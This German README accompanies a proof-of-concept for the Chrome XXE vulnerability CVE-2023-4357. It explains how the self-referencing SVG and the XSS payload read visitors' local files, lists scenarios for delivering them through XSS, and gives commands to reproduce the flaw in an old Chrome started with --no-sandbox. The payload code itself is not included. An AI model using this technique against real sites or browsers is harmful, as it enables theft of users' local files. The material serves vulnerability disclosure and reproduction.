
[Schwachstellen-Reproduktion] Weltweit erste Single-File-Ausnutzung der Chrome XXE-Schwachstelle CVE-2023-4357, die es Angreifern ermöglicht, lokale Dateien von Besuchern zu stehlen. Chrome XXE vulnerability EXP, allowing attackers to obtain local files of visitors.
| Dateiname | Beschreibung | Nutzungsszenario | Warum ist ein Exploit mit einer einzigen Datei/einem einzigen Payload möglich? |
|---|
| d.svg | Einzelfeld-Exploit, benötigt keine anderen Dateien | 1. Bei XSS: SVG-Link im iframe einbetten. 2. Beim Klicken eines Buttons: neues Fenster mit SVG-Bild öffnen. | Selbstreferenziell. Der erste Entitätsverweis auf eine externe Entität wird blockiert. Daher wird die Datei selbst als externes XML-Dokument referenziert (Selbstreferenz), anschließend ein zweiter Entitätsverweis auf eine externe Entität durchgeführt. Dabei müssen die Formate der beiden Referenzen kompatibel sein und keine Fehler verursachen, um die Sperre zu umgehen und lokale Dateien auszulesen. |
| xss.html | Einzel-Payload-Exploit, benötigt keine anderen Dateien | Bei XSS, wenn kein SVG auf einer Website hochgeladen werden soll: Kopieren des Inhalts von xss.html als Payload. | <object>-Element, data:image/svg+xml;base64, data:text/xsl;base64 |
TPCTF 2023 Informationssicherheits-Wettbewerb (gemeinsam veranstaltet von TP-Link, Tsinghua-Universität und Peking-Universität).Xssbot und Xssbot but not Internet//You can send p.innerHTML by POST.: cn-sec, xmcve, jbnrz| Information | Inhalt |
|---|---|
| Schwachstellenname | Chromium XXE |
| Schwachstellen-ID | CVE-2023-4357 |
| Risikostufe | Hoch |
| Schwachstellentyp | XXE |
| Ausnutzungsaufwand | Gering |
document()-Funktion zum Einbinden eines externen XML-Dokuments aufruft, wird die Cross-Origin-Prüfung für die URL dieses externen XML-Dokuments nicht durchgeführt, was zu einer Offenlegung lokaler Dateien des Besuchers führt.| Besucherumgebung | Screenshot |
|---|---|
| Linux + Chromium | ![]() |
| Windows + Chromium | ![]() |
| MacOS + WeChat für Mac | ![]() |
Linux + Chromium
wget https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/114.0.5735.90/linux64/chrome-linux64.zip
unzip chrome-linux64.zip
./chrome-linux64/chrome --no-sandbox
wget https://codeload.github.com/xcanwin/CVE-2023-4357-Chrome-XXE/zip/refs/heads/main -O CVE-2023-4357-Chrome-XXE.zip
unzip CVE-2023-4357-Chrome-XXE.zip
python3 -m http.server 8888 -d CVE-2023-4357-Chrome-XXE-main
http://127.0.0.1:8888/d.svg
Windows + Chromium
https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/114.0.5735.90/win64/chrome-win64.zip
./chrome-win64/chrome --no-sandbox
https://codeload.github.com/xcanwin/CVE-2023-4357-Chrome-XXE/zip/refs/heads/main
python3 -m http.server 8888 -d CVE-2023-4357-Chrome-XXE-main
http://127.0.0.1:8888/d.svg
MacOS + WeChat für Mac
WeChat für Mac herunterladen und ausführen
Webserver starten
wget https://codeload.github.com/xcanwin/CVE-2023-4357-Chrome-XXE/zip/refs/heads/main -O CVE-2023-4357-Chrome-XXE.zip
unzip CVE-2023-4357-Chrome-XXE.zip
python3 -m http.server 8888 -d CVE-2023-4357-Chrome-XXE-main
http://127.0.0.1:8888/d.svg